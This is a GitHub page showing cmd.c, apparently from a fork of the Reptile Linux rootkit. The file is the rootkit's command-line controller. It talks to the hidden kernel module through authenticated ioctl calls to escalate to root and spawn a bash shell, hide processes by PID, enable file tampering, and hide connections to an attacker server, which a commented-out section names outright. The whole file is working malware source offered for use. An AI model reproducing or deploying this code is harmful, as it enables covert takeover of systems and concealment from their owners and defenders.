forked from f0rb1dd3n/Reptile
-
Notifications
You must be signed in to change notification settings - Fork 0
/
cmd.c
187 lines (153 loc) · 3.54 KB
/
cmd.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
#include <arpa/inet.h>
#include <net/if.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#define SHELL "/bin/bash"
struct control {
unsigned short cmd;
void *argv;
};
int main(int argc, char **argv)
{
int sockfd;
struct control args;
struct sockaddr_in addr;
struct hostent *host;
unsigned int pid;
char *bash = SHELL;
char *envp[1] = {NULL};
char *arg[3] = {SHELL, NULL};
if (argc < 2)
exit(0);
sockfd = socket(AF_INET, SOCK_STREAM, 6);
if (sockfd < 0)
goto fail;
if (strcmp(argv[1], "root") == 0) {
if (geteuid() == 0) {
printf("You are already root! :)\n\n");
close(sockfd);
goto out;
}
args.cmd = 3;
if (ioctl(sockfd, AUTH, HTUA) == 0) {
ioctl(sockfd, AUTH, &args);
ioctl(sockfd, AUTH, HTUA);
}
if (geteuid() == 0) {
printf("\e[01;36mYou got super powers!\e[00m\n\n");
execve(bash, arg, envp);
} else {
printf("\e[00;31mYou have no power here! :( \e[00m\n\n");
}
goto out;
}
if (strcmp(argv[1], "hide") == 0 || strcmp(argv[1], "show") == 0) {
if (argc < 2)
goto fail;
if (argc == 2) {
args.cmd = 0;
if (ioctl(sockfd, AUTH, HTUA) == 0) {
if (ioctl(sockfd, AUTH, &args) == 0) {
if (ioctl(sockfd, AUTH, HTUA) == 0) {
printf("\e[01;32mSuccess!\e[00m\n");
goto out;
}
}
}
} else {
args.cmd = 1;
pid = (unsigned int)atoi(argv[2]);
args.argv = &pid;
if (ioctl(sockfd, AUTH, HTUA) == 0) {
if (ioctl(sockfd, AUTH, &args) == 0) {
if (ioctl(sockfd, AUTH, HTUA) == 0) {
printf("\e[01;32mSuccess!\e[00m\n");
goto out;
}
}
}
}
}
if (strcmp(argv[1], "file-tampering") == 0) {
args.cmd = 2;
if (ioctl(sockfd, AUTH, HTUA) == 0) {
if (ioctl(sockfd, AUTH, &args) == 0) {
if (ioctl(sockfd, AUTH, HTUA) == 0) {
printf("\e[01;32mSuccess!\e[00m\n");
goto out;
}
}
}
}
if (strcmp(argv[1], "conn") == 0) {
if (argc < 4)
goto fail;
if (strcmp(argv[4], "hide") == 0) {
args.cmd = 4;
} else if (strcmp(argv[4], "show") == 0) {
args.cmd = 5;
} else {
goto fail;
}
host = gethostbyname(argv[2]);
if (host == NULL)
goto fail;
memcpy((void *)&addr.sin_addr, (void *)host->h_addr,
host->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(argv[3]));
args.argv = &addr;
if (ioctl(sockfd, AUTH, HTUA) == 0) {
if (ioctl(sockfd, AUTH, &args) == 0) {
if (ioctl(sockfd, AUTH, HTUA) == 0) {
printf("\e[01;32mSuccess!\e[00m\n");
goto out;
}
}
}
}
/*
// This part is deprecated. There is no reason to hide specific protocols
// when you want to hide some connection, in the most of cases you will
// need to hide every connection and everything about your attacker server.
if (strcmp(argv[1], "udp") == 0) {
if (argc < 4)
goto fail;
if (strcmp(argv[4], "hide") == 0) {
args.cmd = 6;
} else if (strcmp(argv[4], "show") == 0) {
args.cmd = 7;
} else {
goto fail;
}
host = gethostbyname(argv[2]);
if (host == NULL)
goto fail;
memcpy((void *)&addr.sin_addr, (void *)host->h_addr,
host->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(argv[3]));
args.argv = &addr;
if (ioctl(sockfd, AUTH, HTUA) == 0) {
if (ioctl(sockfd, AUTH, &args) == 0) {
if (ioctl(sockfd, AUTH, HTUA) == 0) {
printf("\e[01;32mSuccess!\e[00m\n");
goto out;
}
}
}
}
*/
fail:
printf("\e[01;31mFailed!\e[00m\n");
out:
close(sockfd);
return 0;
}